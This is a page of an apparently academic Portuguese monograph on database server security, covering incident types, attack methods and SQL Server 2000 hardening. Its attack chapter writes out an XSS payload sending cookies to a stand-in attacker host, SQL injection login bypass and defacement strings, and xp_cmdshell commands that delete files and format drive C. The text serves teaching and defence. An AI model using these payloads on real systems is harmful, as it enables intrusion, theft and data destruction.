Segurança em servidores de bancos de dados, técnicas de invasão e proteção (página 2)

Podemos notar que houve uma rápida ampliação das formas de acesso a dados, com a inclusão de diversas tecnologias, e sempre acompanhadas das facilidades, temos mais possibilites de falhas entre esses sistemas. Programadores deveriam ter como regra a revisão das práticas de desenvolvimento seguro em todos os níveis, inclusive uma metodologia que preveja as falhas de seguranças inerentes a novas tecnologias implantadas. Mas o que normalmente ocorre quando uma nova tecnologia é agregada a preocupação com a segurança e deixada para uma segunda etapa.

CAPÍTULO 4

Incidentes em bancos de dados

Várias situações adversas podem ocorrer em bancos de dados, sempre que um dos aspectos da segurança da informação é quebrado dissemos que houve uma falha de segurança, essas falhas podem causar ou não perda de informações, estudaremos a seguir algumas situações em que falhas de segurança podem atingir um banco de dados.

4.1 Desastres Desastres podem ser caracterizados como eventos fora da ordem natural, que ocasionam a alteração do estado atual dos sistemas, onde podemos citar incêndios, vandalismo, fenômenos naturais como alagamentos, terremotos, furacões. Essas ocorrências, por mais improváveis que sejam, devem estar previstas em um Plano de Recuperação de Desastres, que delimitará as atitudes a serem tomadas em casos extremos que impliquem na disponibilidade das informações.

4.2 Danos Físicos (hardware) A causa mais comum de perda de dados se encontra na camada física dos sistemas, defeitos em hardware, como discos rígidos inacessíveis por problemas nos motores ou placas lógicas, uma política correta e eficiente de backups pode minimizar o problema, diminuindo o tempo de indisponibilidade da informação.

Uma maneira mais confiável de manter a integridade física dos discos são arranjos redundantes de discos, conhecidos como arranjos RAID (Redundant Array of Independent Disks). Sua definição em português seria "Matriz Redundante de Discos Independentes" em que a informação é dividida em vários discos distintos, um servidor funcionando em RAID-5, possui em sua distribuição cinco discos rígidos redundantes, mesmo que um destes pode falhar, a informação será reconstruída, devido às informações de paridade gravadas no arranjo (ALECRIM, 2004).

Deve fazer parte do plano de recuperação de desastres testes dos sistemas de redundância e backups, para que problemas nas rotinas de recuperação não sejam descobertas somente no momento de sua utilização, podendo causar uma interrupção se serviço causada pela falsa segurança oferecida pelo sistema.

4.3 Indisponibilidade Mesmo que não ocorram danos físicos aos servidores, estes podem ficar indisponíveis devido a problemas internos, como falhas em equipamentos de redes (Hubs, Switches, cabeamento estruturado) e externos, como a indisponibilidade das redes de dados das concessionárias públicas de telecomunicações.

Para minimizar a indisponibilidade uma solução proposta é a replicação dos servidores, instalando dois ou mais conjuntos de equipamentos dispostos em ambientes isolados, os dados são replicados a cada transação e na indisponibilidade de um deles, os outros servidores assumem a atividade até que o problema seja solucionado, tudo isso transparentemente aos usuários. Esta solução resolve também um problema inerente dos grandes bancos de dados, que é a concorrência de acessos simultâneos, aproveitando-se do balanceamento de carga que é apresentada por esta solução.

A redundância das redes de dados deve ser prevista em atividades críticas, as soluções de dados adotadas pelas operadoras de telecomunicações prevêem redundâncias de acessos. Redes de fibras ópticas adotam normalmente a dupla abordagem, onde dois cabos são instalados, utilizando-se de trajetos distintos da empresa até a operadora, esta configuração conhecida como "Anel Óptico" é tolerante a falhas, onde sempre haverá duas alças de acesso alimentando os sistemas, na falha de uma alça, o sistema é comutado para a alça intacta, até que a equipe técnica repare a rede afetada.

Em sistemas críticos apenas o Anel Óptico não basta para garantir a disponibilidade da informação, neste caso é utilizada a redundância de operadoras de telecomunicações, onde é montada uma rede de suporte, podendo ou não ser em Anel, em que uma nova rede é sobreposta a principal, oferecendo mais uma camada de segurança a disponibilidade, no caso de uma falha que afete toda a rede da operadora principal, haverá como disponibilizar acessos na rede secundária, até que seja restabelecido o sistema, esta rede é conhecida no meio como rede backup.

Existe também, a exemplo de muitas organizações onde a conectividade é vital à continuidade dos negócios, sistemas de missão crítica de alta disponibilidade dispondo de sistemas em "Anel Óptico", de duas ou mais operadoras, com rede backup via rádio ou satélite, esta solução leva em conta a localização física da empresa, a potencialidade de vandalismo na rede óptica, o tempo médio de reparo em caso de pane e demais aspectos característicos da organização.

A redundância de operadoras de telecomunicações, embora pareça uma solução radical e onerosa para empresas com pequeno orçamento, teve sua prova no dia 03 de julho de 2008, onde o serviço de internet da operadora de telecomunicações Telefônica, por problemas em um roteador da prestadora, deixou 68% dos usuários sem acesso à internet (GUIMARÃES, 2008) durante 36 horas (LOBATO,2008), dentre os usuários, diversas empresas e órgãos públicos que dependiam da rede tiveram suas atividades paralisadas, neste caso, mesmo quem possuía rede redundante (Anel Óptico) da operadora teve sua atividade comprometida.

4.4 Falhas humanas não intencionais Algumas situações usuários desatentos executam funções nos bancos de dados e percebem que cometeram enganos, os sistemas de acesso aos bancos deve minimizar a possibilidade que erros aconteçam, com a verificação constante das ações mais críticas, como exclusão de registros, a prática de avisar o operador que uma ação não poderá mais ser desfeita e ao mesmo tempo mostrar os dados que serão deletados auxilia nessa função.

Erros de usuários comuns normalmente geram danos pequenos, particularmente restritos um ou poucos registros, uma política de backup de transações e logs de eventos possibilita a recuperação de registros específicos, quando realmente necessários.

Erros cometidos por programadores ou Administradores de bancos de dados podem corromper a base de dados por completo, falhas sutis na construção de consultas, atualizações sistêmicas de dados, modificação de tabelas ou falhas de abstração dos requisitos dos sistemas são comuns e podem comprometer todo o sistema. Implementações desse tipo nunca devem ser executadas no ambiente de produção, uma estrutura de testes deve ser utilizada obrigatoriamente, utilizando copias dos sistemas e bancos de dados, e sempre que possível em redes diferentes, isoladas e equipamentos idênticos ao ambiente produtivo.

Consideramos também o aspecto da negligencia de alguns usuários na guarda e posse de suas chaves de acesso, a prática de solicitação de senhas fortes aliadas a uma rotatividade constante, uma política de conscientização e treinamento dos usuários na correta utilização dos recursos dos sistemas de segurança podem minimizar esses problemas, mas sempre estaremos envolvidos com usuários que esquecem terminais abertos ou fornecem suas senhas a outros, podemos evitar essa situação forçando o final das seções após alguns minutos de inatividade e a impossibilidade de utilização da mesma chave de acesso em mais de um terminal.

4.5 Invasões Consideramos como uma invasão todo acesso não autorizado a um recurso da organização, seja ele redes, estações, aplicativos, códigos fonte, servidores, bancos de dados, corrupção de funcionários. Existem infinitas formas de invasão, desde a mais simples, utilizando-se da ingenuidade ou desatenção de usuários, até ataques elaborados, aproveitando- se de falhas de aplicativos, por intermédio de programação elaborada.

Mas de qualquer forma que a invasão for executada, os danos podem ser irreparáveis, o atacante pode corromper todos os aspectos de segurança que apresentamos anteriormente, como se segue:

Confidencialidade – Um atacante pode divulgar dados sigilosos de uma organização, expor publicamente informações confidenciais, podendo utilizar-se dessas para proveito próprio.

Integridade – Um ataque a integridade das informações, onde dados são alterados ou destruídos em todo eu em parte.

Disponibilidade – Quando um atacante consegue tornar um sistema indisponível, total ou parcialmente, atacando sua infra-estrutura física ou lógica.

Autenticidade – Se alguns dados são manipulados com o intuito de gerar falsas saídas de informações, nesse caso estaremos diante de um ataque que pode gerar conseqüências desagradáveis, sendo de difícil detecção e correção.

Não repúdio – Uma informação armazenada em um sistema que fora invadido, em que não há a garantia da autenticidade dos dados dependendo da situação, pode perder seu valor legal, cabendo a contestação da informação apresentada.

4.6 Hachers, Crackers e suas variações Sempre que ocorre um incidente de segurança, em que há invasão de sistemas, é comum deparamos com diversas explicações sobre a ocorrência. Normalmente é divulgado que houve um "ataque hacker" aos sistemas. O termo "hacker" é utilizado incorretamente quando se tratar de um invasor, um criminoso digital, o correto seria dizer que houve um "ataque cracker" ao sistema.

Existe uma hierarquia auto-imposta a quem se aventura nos conhecimentos de tecnologia de informação, normalmente aglutinados em "clãs" ou grupos de estudos, e não raramente agindo sozinhos, essas pessoas podem direcionar seus esforços nos estudos complexos de arquiteturas de sistemas e segurança de informação, ou especializar-se no que podemos chamar de "lado negro da força", utilizando seus conhecimentos para a prática de delitos digitais (ULBRICH e DELLA VALLE, 2002) Percorrendo a evolução dos profissionais digitais, podemos diferenciá-los nos seguintes títulos:

Newbie – O iniciante ou calouro, ainda não possui o conhecimento profundo em informática, mas está disposto a aprender, observando e estudando a maneira que os sistemas funcionam; Luser – São usuários iniciantes (ou não) em informática, que se diferenciam dos Newbies pelo fato de não terem o mínimo interesse em aprender, buscam soluções prontas e rápidas para facilitar seu trabalho, sem se preocupar como as coisas funcionam, é o chato que normalmente reclama de tudo e acha que todos estão errados, menos ele; Lamer – Usuário que aprendeu alguns truques, utilizando-se de programas ou scripts prontos, normalmente buscados na internet, que eventualmente causam algum efeito, uma invasão ou uma alteração em um site, porém este usuário comumente não tem o conhecimento profundo de como a invasão aconteceu, é facilmente detectado pois não toma as precauções necessárias ao efetuar seu ataques. Esses usuários também são conhecidos como "script-kidies"; Larval Stage – Ou Spawn, período em que o usuário decide-se em realmente aprender as técnicas de programação necessária para adentrar ao mundo hacker; Hacker – Especialista em informática, podemos aqui incluir os programadores, administradores de sistemas, especialista em segurança. Esses profissionais possuem conhecimentos e habilidades, normalmente conhecem as técnicas de invasão e defesa de sistemas, porém possuem um código de ética e não utilizam seus dons para atividades ilegais, esses são conhecidos como Crackers; Cracker – É um Hacker na sua essência, o "Hacker do mal" utiliza seus conhecimentos para atividades ilícitas, como invasões, extorsões e vandalismo, fazendo uso de ferramentas diversas, podendo ser criadas por ele ou outros crackers, tem a habilidade de escapar sem deixar vestígios, normalmente não segue nenhuma ética. Podemos separar alguns Crackers, conforme suas especialidades:

o Pheaker – Cracker de sistemas telefônicos; o Carder – Cracker especializado em golpes a operadoras de cartões de crédito; o War driver- Especialista em invasao a redes Wireless.

CAPÍTULO 5

Métodos de ataques a bancos de dados

Entendamos como ataque a um banco de dados qualquer situação em que dados armazenados são acessados ou divulgados indevidamente, tem sua integridade afetada, são apagados ou tem seu acesso lógico interrompido, ou ainda qualquer situação que altere a condição normal de funcionamento do SGBD.

As técnicas de ataque que serão demonstradas a seguir têm como alvo principal os sistemas de informações como um todo e não necessariamente tentam atingir aos bancos de dados diretamente, mas as conseqüências sempre afetarão os dados armazenados ou seu sistema de banco de dados.

5.1 Cross Site Scripting (XXS) Em um ambiente web, sempre que dados originados pelo usuário são retornados ao navegador sem uma correta validação ou codificação, podemos estar diante de uma falha de "Cross Site Scripting", essa vulnerabilidade permite a um atacante executar scripts arbitrários, normalmente construídos em Javascript, no navegador da vítima, seqüestrando sessões do usuário, desfigurar web sites, roubar informações pessoais (phishing).

O perigo apresentado pelo Cross Site Scripting aos bancos de dados está na possibilidade do invasor conseguir inserir códigos maliciosos diretamente em um registro de uma tabela que dá suporte a um web site. Nessa modalidade de ataque, conhecido como "persistente", o código inserido será executado todas as vezes que um visitante acessar a página que hospeda o código.

Podemos verificar a existência dessa vulnerabilidade, inserindo o código Javascript de exibição de alertas ao usuário, na URL da página, entre os parâmetros informados ao servidor, como no exemplo fictício abaixo:

URL normal do site: www.meusite.com/lista.asp?cod=123&par2=azul URL modificada, acrescida do código Javascript:

www.meusite.com/lista.asp?cod=123alert("XXS Vulnerável") &par2=azul No exemplo, se uma caixa de mensagem "XXS Vulnerável" for apresentada ao usuário, o site apresenta a vulnerabilidade XXS.

Nesse tipo de ataque, graças ao poder dos scripts, podemos alterar todos os aspectos de um site, a modificação do comportamento e conteúdo padrão da página pode induzir o usuário a acreditar nas suas solicitações. A exemplo de sites colaborativos (blogs, fóruns) onde os próprios usuários são responsáveis pelo conteúdo, o não tratamento das entradas de um usuário mal intencionado pode acarretar num ataque a todos os demais visitantes.

No tipo de ataque conhecido como não persistente, o atacante envia uma URL alterada a uma vítima, substituindo parâmetros normais do site por códigos arbitrários, os links podem ser enviados por e-mails e outros meios de troca de dados, os ataques normalmente obtém sucesso, pois os usuários não percebem a diferença da URL modificada com uma real como no exemplo:

URL Normal: http://www.meusite.com/nome=Maria Código malicioso:

document.location=' http://sitehacker/cgi-bin/script.cgi?'+document.cookie

URL alterada: http://www.meusite.com/nome
document.location=' http://sitehacker/cgi-bin/script.cgi?'+document.cookie A URL alterada simplesmente pode ser detectada por algum usuário mais atento, mas caso a URL seja codificada, o ataque pode ser despercebido.

URL codificada: http://www.meusite.com/nome= O código acima envia o cookie do usuário como parâmetro para o site do atacante Com utilização de scripts, o atacante pode alterar a apresentação de um site, controlar a comunicação entre site e servidor, seqüestrando o envio dos dados dos formulários postados enviando os dados para um site de seu controle, que pode ter um grafismo idêntico ao site atacado.

5.2 Injeções de comandos SQL Falhas de injeção de comando SQL são comuns em aplicativos WEB, porém existe a probabilidade de serem executados em aplicativos para desktops. O que caracteriza esse ataque é a possibilidade da manipulação dos comandos SQL presentes nos códigos interpretados nos servidores, que serão enviados aos bancos de dados, o atacante inclui sentenças SQL que alteram a construção prevista pelo programador da consulta.

A falha consiste na construção de consultas SQL dinâmicas, utilizando-se da concatenação de strings fixas com dados informados pelo usuário. Sempre que essa prática for utilizada e não houver um correto tratamento dos dados informados, a página pode estar vulnerável ao ataque.

5.2.1 Invadindo o sistema A exemplo de uma consulta SQL que localiza informações de um usuário, comparando os campos login e senha em uma tabela ficaria assim:

select users.cod, users.login, users.senha, users.identificacao from users where users.login='admin' and users.senha='12345'; Em uma página web, a prática comum é a utilização de um formulário solicitando a digitação dos campos de pesquisa, quando o usuário clica em ENTRAR, o sistema postará os dados digitados, no caso, login e senha, a uma página que criará a consulta SQL que retornará do banco de dados o resultado, o código dessa página é algo assim:

Dim SQL SQL = "select users.cod, users.login, users.senha, users.identificacao " SQL = SQL & "from users where users.login= '" & request.form("LOGIN")) & "'" SQL = SQL & "and users.senha='" & request.form("SENHA")) & "';"

Figura 12 – Formulário Login e Senha Se nessa situação o usuário fornecer como Login e senha os valores ADMIN e 12345 respectivamente, obteremos por concatenação a sentença original, com a vantagem de ser dinamicamente construída, proporcionando a facilidade necessária a uma função de login. "O fato de que os desenvolvedores, tanto de software como de hardware, tendem a se comportar de maneira ingênua e, conseqüentemente insegura" (SANT"ANNA, 2003) O que todo programador espera é que o usuário quando se encontrar com uma tela solicitando login e senha, digitará valores compatíveis com os dados solicitados, o que os fazem nas maiorias das vezes, mas se um usuário mal intencionado, e conhecedor dos comandos SQL informar os valores como na figura a seguir:

Figura 13 – Inserção de código malicioso O valor informado " or 1=1 –, em significa para o SGBD, fim da variável ("), operador lógico OU (or), 1=1 é uma sentença que sempre será verdadeira, e os dois traços (–) significam início de comentário. A SQL resultante dessa inclusão de valores ficará assim:

select users.cod, users.login, users.senha, users.identificacao from users where users.login= ' ' or 1=1 — ' and users.senha='' or 1=1 — ';" Traduzindo a sentença para o português ficaria assim, "selecione os campos cod, login, senha e identificação da tabela users onde login seja igual a nulo (' ') ou verdadeiro (1=1 é uma sentença sempre verdadeira = TRUE), onde verdadeiro significa não nulo, em seguida o símbolo "–" comenta o código restante, tornando-o sem efeito. Como essa sentença SQL será sempre verdadeira, o atacante obterá acesso ao sistema utilizando a primeira conta da tabela users,, que na maioria das vezes é a conta de administrador ou desenvolvedor, que normalmente é o primeiro usuário a utilizar o sistema.

5.2.2 Alterando características de um site A evolução desse ataque consiste em se aproveitar das mensagens de erros retornados pelo SGBD, que serão utilizadas pelo atacante para desvendar detalhes do banco de dados, em um site vulnerável, a Injeção de SQL pode ser utilizada através da URL de acesso, que contém parâmetros que são interpretados pelo script, para a geração das problemáticas SQL dinâmicas Exemplo de URL normal: http://www.meusite.com/noticia=65 A manipulação da URL com uma clausula SQL de filtragem de dados, apresenta-se da seguinte maneira:

http://www.meusite.com/noticia=65 having 1=1 Carregando-se o navegador com a URL, o servidor poderá retornar a seguinte mensagem de erro:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Noticias.Cod_Noticia' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /noticias.asp, line 152 Notamos que a mensagem de erro, está nos informando que a tabela utilizada pelo sistema é "Noticias", e o primeiro campo da tabela é "Cod_Noticia" Continuando o ataque, colocando-se a clausula de agrupamento utilizando-se o campo encontrado, ficará assim:

http://www.meusite.com/noticia=65 group by Noticias.Cod_Noticia O erro retornado pelo servidor informa o próximo campo da tabela, no caso, o campo "Tit_Noticia".

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Noticias.Tit_Noticia' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. /noticias.asp, line 152 O ataque pode ser executado até a descoberta de todos os campos da tabela, e partindo para a desfiguração do site, o atacante poderá alterar os dados da notícia, como no exemplo a seguir que altera o título da notícia para a frase "O site foi crackeado por Evil Death".

http://www.meusite.com/noticia.asp?cod_noticia=65+update+Noticias+set+Tit _Noticia=' O site foi crackeado por Evil Death" 5.2.3 Exploração do comando XP_CMDSHELL O SQL Server 2000 conta com inúmeras "Stored Procedures" estendidas, funções que executam ações do sistema operacional tendo como elemento acionador scripts SQL, no caso a existência do procedimento XP_CMDSHELL pode ser muito útil aos administradores, porém a falha de segurança apresentada pode ser explorada por um atacante, com resultados desastrosos.

O referido procedimento gera uma Shell de comandos do Windows e passa uma cadeia de caracteres para execução, é equivalente a utilização do comando "executar" do sistema operacional, sua utilização por meios normais é muito útil, pois se podem criar diretórios, arquivos, renomeá-los, e apagá-los, dentre outras funções úteis, como no exemplo a seguir, que lista os arquivos ".exe" no diretório:

EXEC xp_cmdshell 'dir *.exe'; GO Quando se utiliza do comando xp_cmdshell em um ataque de SQL Injection, podemos utilizar de vários comandos, desde criar e apagar arquivos do servidor, até mesmo formatar o disco rígido, como nos comando a seguir.

EXEC master..xp_cmdshell "del c:arquivo.txt" — deletar arquivo EXEC master..xp_cmdshell "format c: /y" — formatar partição C EXEC master..xp_cmdshell "net send * Seu banco foi deletado!" — mostra aviso nas estações EXEC master..xp_cmdshell "shutdown -l" – Reiniciará o servidor Este tipo de ataque é o mais perigoso que se pode explorar, visto que pode comprometer todo o sistema em poucos comandos. Se o banco de dados compartilharem com um controlador de domínios, o atacante poderá inclusive criar um usuário e senhas para o sistema, e acessar todas as funções do equipamento 5.3 Buffer Overflow A palavra inglesa overflow significa "transbordamento" ou "inundação", a falha conhecida como "Buffer Overflow" tecnicamente consiste em armazenar em um buffer de tamanho fixo, dados maiores que o seu tamanho.

Quando um programa é executado em um computador a seqüência das instruções que deverão ser seguidas, endereços, variáveis, constantes estão armazenados na memória, para que não ocorram problemas a memória é dividida em áreas denominadas "buffers". Cada "buffer" é dividido em células conhecidas como "endereços de memória", cada endereço assume o valor de um bit, o overflow acontece quando se tenta escrever um bit, em um endereço de memória utilizado por outra informação, o comportamento normal nessa situação é o travamento da aplicação ("crash").

Um programa simples segue uma única linha de execução, uma instrução após a outra, sem desvios, mas a maioria dos programas utiliza-se de sub-rotinas, que podem ser executadas várias vezes, quando uma sub-rotina é invocada o endereço de retorno é guardado e na conclusão o sistema retorna ao ponto da memória que solicitou a função, esses endereços de retorno são gravados em uma área da memória chamada de Pilha ("stack").

"Crackers" costumam se aproveitar dessas falhas quando forçam um aplicativo ao transbordamento do buffer, inserindo um valor maior que o esperado pela função, os bits que excederam ao buffer poderão sobrescrever a pilha e destruir o endereço de retorno da função. Se o atacante dessa forma alterar o endereço de retorno para em código por ele injetado ("exploit"), que execute tarefas arbitrárias, com os privilégios do usuário que executa o programa vulnerável e no seu fim retorne ao endereço correto, o equipamento ou o aplicativo não trava, e a instrução maliciosa foi executada sem a percepção do usuário.

5.4 Ataque de Negação de Serviço Um ataque de Negação de Serviço, também conhecido como DOS (Denial of Service), consiste em tornar um recurso de um sistema indisponível aos usuários. São normalmente direcionados a servidores WEB na intenção de tornar as páginas de internet hospedadas indisponíveis. Os ataques DOS comumente não são invasivos e não causam perda de dados.

Um ataque comum utiliza-se de uma característica do protocolo TCP/IP, conhecido como "SYN Flooding", quando um computador tenta se conectar com o servidor utilizando-se de um sinal TCP conhecido por SYN (Synchonize). O servidor responde ao chamado com um sinal chamado ACK (Acknowlegment), se houver mais solicitações que o servidor puder responder, o sistema ficará indisponível a novas conexões.

A evolução do ataque ocorre quando o atacante utiliza-se de milhares de computadores simultaneamente para sobrecarregar uma determinada máquina ou rede, vários sites conhecidos já fora alvo desse ataque, como CNN, Yahoo, Ebay e a própria Microsoft, essa modalidade é chamada de DDOS,(Distributed Denial of Service), ALECRIM(2004).

Para o sucesso desse tipo de ataque, os crackers necessitam de uma quantidade imensa de computadores, alvos comuns são as redes acadêmicas e de grandes empresas, a primeira parte do ataque consiste na contaminação dos sistemas com vírus que podem se auto-replicar pela suas redes, em seguida, todas as estações contaminadas executam o ataque simultaneamente ao alvo escolhido, como o número de usuários conectados a servidores web é limitado, o aumento repentino de solicitações pode sobrecarregar as conexões, podendo chegar a travar ou reiniciar o servidor.

Tanto um ataque DOS ou DDOS são de difícil prevenção, devido às características não invasivas, equipamentos como detectores de intrusão (IDS) e firewalls podem auxiliar, mas não impedir as conseqüências do ataque. Um exemplo de reação a esse tipo de ataque é a alteração do servidor WEB da página no momento do ataque.

CAPÍTULO 6

Configuração de um banco de dados seguro

Ao longo desse capítulo exemplificaremos as formas de proteção a ataques comuns que afetam bancos de dados, a proposta está em utilizar técnicas de defesa implantadas diretamente no SGBD, utilizando de suas ferramentas nativas, ou atualizações de segurança propostas pelo fabricante. A atribuição da segurança ao SGBD tem como objetivo a obtenção de um sistema de Banco de dados intrinsecamente seguro, em que a aplicação que acessa o banco poderá até falhar, mas não afetará os dados e o sistema devido aos bloqueios nativos e práticas aplicadas.

Nesse ponto cabe salientar que a segurança deve ser implementada em todos os níveis dos sistemas, a idéia de proteção nativa agrega mais confiabilidade e segurança, e tem a vantagem do isolamento de possíveis falhas de segurança, que devido à metodologia proposta minimiza a propagação ao longo do processo. A proteção intrínseca previne também falhas advindas de novas tecnologias agregadas, que devem se adaptar aos padrões existentes para seu correto funcionamento.

O SGBD utilizado nos exemplos será o Microsoft SQL Server 2000, que apesar estar disponível há certo tempo no mercado e sua versão atual já se encontrar na 2008, ainda é muito utilizado nas organizações, devido a sua robustez, velocidade e pelo fato de não necessitar de hardware extremamente poderoso, razões estas que justificam sua utilização nos dias atuais. O alto investimento na atualização dos SGBDs pode acarretar em efeitos indiretos que envolveriam a substituição dos servidores, a atualização dos bancos de dados e sistemas legados, o treinamento dos funcionários nas novas funções agregadas nas novas versões. Não raramente as atualizações de servidores de bancos de dados são executadas conjuntamente a modernização dos sistemas, que atribuem novas funcionalidades disponibilizadas, uma atualização de versão em um banco de dados pode acarretar num gasto imediato desnecessário justificado pela subutilização do novo SGBD, ou mesmo uma incompatibilidade dos aplicativos legados.

Devemos considerar durante a instalação de um servidor de banco dados os mesmos cuidados atribuídos aos demais equipamentos de rede, acrescido de práticas específicas à segurança dos dados armazenados. As recomendações aqui apresentadas contemplam ações antes, durante e depois da instalação do servidor, que procuram minimizar as vulnerabilidades físicas e lógicas específicas do SQL Server, mas com algumas adaptações, poderão ser implementados em qualquer SGBD do mercado.

As recomendações apresentadas, salvo quando informada a fonte, estão disponíveis no "Centro de Orientações de Segurança" da Microsoft, fabricante do sistema apresentado, acessível através, no documento denominado: Protegendo seu Servidor de Banco de Dados, publicado em 24 de Maio de 2004.(MICROSOFT, 2004).

6.1 Instalação física Antes da instalação do SQL Server, o primeiro passo é executar uma criteriosa análise da localização física do servidor, minimizando os riscos de ataques diretos ao sistema, a sala onde ficará instalado o servidor deverá ser de acesso exclusivo a pessoas autorizadas, a utilização de "racks" com chaves disponíveis apenas aos administradores de bancos de dados (DBAs) também pode ser considerada, acrescentando um item de segurança física ainda mais específico.

Sistemas de refrigeração, detecção de inundação e incêndio monitorados são imprescindíveis, princípios de incêndio podem ser combatidos com modernos sistemas autônomos, que utilizam gás carbônico como agente extintor de incêndios, e não danificam os equipamentos não atingidos pelo fogo.

Nunca conecte o servidor diretamente a Internet, e sim em uma zona segura da intranet corporativa, protegido por firewalls, bloqueando todo o tráfego e admitindo seletivamente apenas conexões necessárias à disponibilidade dos serviços presentes. Em um domínio Windows, os firewalls internos deverão permitir apenas a autenticação integrada do sistema Windows.

Execute serviços separados de SQL Server em contas separadas do Windows, e sempre que possível utilize contas de usuário local com poucos privilégios para cada serviço separadamente, assim se houver o comprometido de um serviço, não poderá afetar os demais.

Instale o SQL Server em partições NTFS que tem por padrão opções de segurança como lista de controles de acesso a arquivos e diretórios (ACLs). Durante a instalação o SQL Server definirá ACLs apropriadas em chaves de registro. Existe a previsão de futuras versões do SQL Server não darem suporte a instalação em sistemas FAT.

Protocolos desnecessários devem ser desabilitados nos servidores de perímetro, como NetBIOS e SMB O NetBIOS utiliza as seguinte portas:

UDP-137 – (Serviço de nome do NetBIOS); UDP-138 – (Serviço de datagrama do NetBIOS); TCP-137 – (Serviço de sessão do NetBIOS).

O SMB utiliza as seguintes portas: TCP-139; TCP-445; Faça backups dos dados e configurações dos servidores regularmente, os arquivos devem ser armazenados em local externo, longe dos servidores, e preferencialmente devem ser automáticos, o serviço SQL Server Agent, juntamente ao serviço DB Maintenance Plans, executam a tarefa de backups. Um ponto a ponderar é que o esse backup estará armazenado no servidor de produção, devendo ser o mais rapidamente possível deslocado ao seu local definitivo.

Figura 14 – DB Maintenance Plan Testes de funcionalidade da recuperação de backups devem ser executados com freqüência, prevenindo as falhas possíveis na recuperação dos dados, problemas nas mídias e procedimentos, uma boa prática é medir o tempo de recuperação e implementar melhorias no procedimento para diminuir o tempo de indisponibilidade Soluções mais avançadas podem ser utilizadas, como arranjos RAID para os arquivos de bancos de dados, isolando falhas nos discos, e sistemas replicados, que direcionam o processamento dos dados a servidores redundantes, podendo também ser utilizados no balanceamento de carga.

6.2 Instalação do servidor A escolha do sistema operacional que hospedará o servidor de banco de dados deve ser corretamente estudada, o recomendado é uma instalação "limpa", utilizando-se somente dos recursos necessários para o correto funcionamento do SGBD, recomenda-se fortemente que não se compartilhe o servidor de banco de dados com outras funções, como servidores web e controladores de domínios, devido a possibilidades de vulnerabilidades nesses serviços exporem o banco de dados a riscos desnecessários, Após a instalação do sistema operacional do servidor, é necessária a instalação de todas as correções de segurança recomendadas pelo fabricante do SO, a instalação de atualizações cumulativas, conhecidas como "Service Packs", deve ser analisada criteriosamente, pois um pacote de correções recente deve ser primeiramente testado antes de ser colocado em produção, devido à possibilidade de incompatibilidades e possíveis novas falhas de segurança. Após a instalação do SO e configuração dos Firewalls, proceda a instalação dos programas de suporte como antivírus, caso a topologia da rede o faça necessário. Devem-se instalar apenas os aplicativos necessários ao funcionamento do SGBD na rede, e nada mais, minimizando as possibilidades de falhas de seguranças em aplicativos desnecessários.

Durante a instalação do SQL Server, vários cuidados devem ser tomados para minimizar vulnerabilidades de segurança, um passo a passo para uma instalação segura será demonstrada a seguir, será apresentado um processo de instalação de um SQL Server 2000, na sua versão "Evaluation", utilizada para avaliação e treinamento, na instalação da versão para servidores haverá poucas diferenças, voltadas a inclusão das chaves de registro.

Figura 15 – Início da Instalação do SQL Server 2000 No início do processo de instalação, que é bastante simples, selecionamos a opção "SQL Server 2000 Components", o processo se dará seqüencialmente, demonstraremos somente as opções que interferem na segurança, que é o foco do trabalho.

Utilizaremos a instalação personalizada (Custom), pois nos permite a escolha das opções necessária a implementação da segurança do sistema.

Figura 16 – Opções de Instalação do SQL Server 2000 Assegure-se de instalar SGBD em um volume diferente ao sistema operacional, isolando-o, essa prática também auxiliará no momento da criação de backups da configuração do servidor, Aconselha-se também a criação de um volume independente para o armazenamento dos dados.

Durante a instalação dos componentes, alguns itens não devem ser instalados no servidor de produção, salvo real necessidade, são eles:

Upgrade Tolls (Usados para a atualização de versões anteriores); Replication Support (Scripts e binários usados em replicação – somente instale se for utilizar a replicação); Full Text Search (Pesquisa de textos completos – instale somente se necessitar); Books On Line (Documentação – instale no servidor de testes somente); Development Tools (Auxilio a desenvolvedores); Code Samples (Exemplos para estudos).

Figura 17 – Instalação Personalizada do SQL Server 2000 Utilize sempre o modo de autenticação "Windows Autentication Mode", utilize a autenticação do SQL Server se esta for absolutamente necessária, nesse caso utilize uma senha forte, de alto grau de complexidade para o usuário SA (System Administrator), essa conta é o alvo principal dos ataques de detecção de senhas por força bruta e dicionário, note que existe a opção de utilizar a senha em branco (Blank Password – Não recomendada), como o próprio fabricante diz, nunca a utilize. As novas versões do SQL Server não apresentam mais essa opção.

Além das vantagens já descritas da autenticação Windows, podemos ainda acrescentar a utilização das diretivas de segurança do domínio aplicadas às senhas, o fato das credenciais não serem enviadas pela rede, e as seqüências de conexão dos serviços que se conectam ao SGBD não necessitarem de credenciais, diminuindo sua exposição.

Figura 18 – Opções de Autenticação do SQL Server 2000 6.3 Patches e atualizações Sempre que uma vulnerabilidade de segurança ou falha no aplicativo é descoberta, o fabricante disponibiliza as correções para as falhas, conhecidas como "patchs", uma coleção de várias "patches" agrupadas em apenas um arquivo é fornecida com nome de "Service Pack", nesse momento o fabricante podem optar por incluir novas funcionalidades ao aplicativo. Recomenda-se fortemente que as atualizações sejam executadas sob o risco de algum invasor aproveitar-se de vulnerabilidades conhecidas, documentadas e ainda não corrigidas para um ataque.

Apesar da recomendação anterior, sempre que forem disponibilizadas atualizações críticas, uma boa prática será testar as atualizações em um servidor de testes e verificas a compatibilidade da aplicação com a correção, sempre é possível que as correções contenham ou criem novas falhas, que serão descobertas e corrigidas oportunamente.

No SQL Server, podemos utilizar do recurso MBSA (Microsoft Baseline Security Analyser) que detecta a falta de atualizações no Windows e no SQL Server, e efetua as alterações autorizadas nos aplicativos, o programa está disponível através do link:

http://www.microsoft.com/technet/security/tools/mbsahome.mspx 6.4 Serviços Para diminuir a exposição a ataques e riscos desnecessários, devemos desativar todos os serviços não utilizados, e devemos considerar a execução dos demais serviços com contas de baixo privilégio, e possivelmente um usuário para cada serviço.

Os quatro serviços a seguir são instalados em um servidor SQL Server, deve- se desativá-los no caso da não necessidade de utilização dos recursos:

